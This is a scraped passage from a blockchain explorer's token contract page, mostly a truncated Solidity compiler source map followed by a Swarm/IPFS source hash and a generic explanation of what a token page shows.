0:6;26364:13;26395:105;26496:3;26488:6;26481:4;26473:6;26469:17;26395:105;:::i;:::-;26386:114;;26209:297;26121:385;;;;:::o;26512:554::-;26607:6;26656:2;26644:9;26635:7;26631:23;26627:32;26624:119;;;26662:79;;:::i;:::-;26624:119;26803:1;26792:9;26788:17;26782:24;26833:18;26825:6;26822:30;26819:117;;;26855:79;;:::i;:::-;26819:117;26960:89;27041:7;27032:6;27021:9;27017:22;26960:89;:::i;:::-;26950:99;;26753:306;26512:554;;;;:::o;27072:85::-;27117:7;27146:5;27135:16;;27072:85;;;:::o;27163:158::-;27221:9;27254:61;27272:42;27281:32;27307:5;27281:32;:::i;:::-;27272:42;:::i;:::-;27254:61;:::i;:::-;27241:74;;27163:158;;;:::o;27327:147::-;27422:45;27461:5;27422:45;:::i;:::-;27417:3;27410:58;27327:147;;:::o;27480:831::-;27743:4;27781:3;27770:9;27766:19;27758:27;;27795:71;27863:1;27852:9;27848:17;27839:6;27795:71;:::i;:::-;27876:80;27952:2;27941:9;27937:18;27928:6;27876:80;:::i;:::-;28003:9;27997:4;27993:20;27988:2;27977:9;27973:18;27966:48;28031:108;28134:4;28125:6;28031:108;:::i;:::-;28023:116;;28149:72;28217:2;28206:9;28202:18;28193:6;28149:72;:::i;:::-;28231:73;28299:3;28288:9;28284:19;28275:6;28231:73;:::i;:::-;27480:831;;;;;;;;:::o;28317:847::-;28588:4;28626:3;28615:9;28611:19;28603:27;;28640:71;28708:1;28697:9;28693:17;28684:6;28640:71;:::i;:::-;28721:80;28797:2;28786:9;28782:18;28773:6;28721:80;:::i;:::-;28848:9;28842:4;28838:20;28833:2;28822:9;28818:18;28811:48;28876:108;28979:4;28970:6;28876:108;:::i;:::-;28868:116;;28994:80;29070:2;29059:9;29055:18;29046:6;28994:80;:::i;:::-;29084:73;29152:3;29141:9;29137:19;29128:6;29084:73;:::i;:::-;28317:847;;;;;;;;:::o;29170:410::-;29210:7;29233:20;29251:1;29233:20;:::i;:::-;29228:25;;29267:20;29285:1;29267:20;:::i;:::-;29262:25;;29322:1;29319;29315:9;29344:30;29362:11;29344:30;:::i;:::-;29333:41;;29523:1;29514:7;29510:15;29507:1;29504:22;29484:1;29477:9;29457:83;29434:139;;29553:18;;:::i;:::-;29434:139;29218:362;29170:410;;;;:::o

Swarm Source

ipfs://25f22c0713ecd0732ec07d310189fcccbfda13438b285b810f39c34365273d03
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.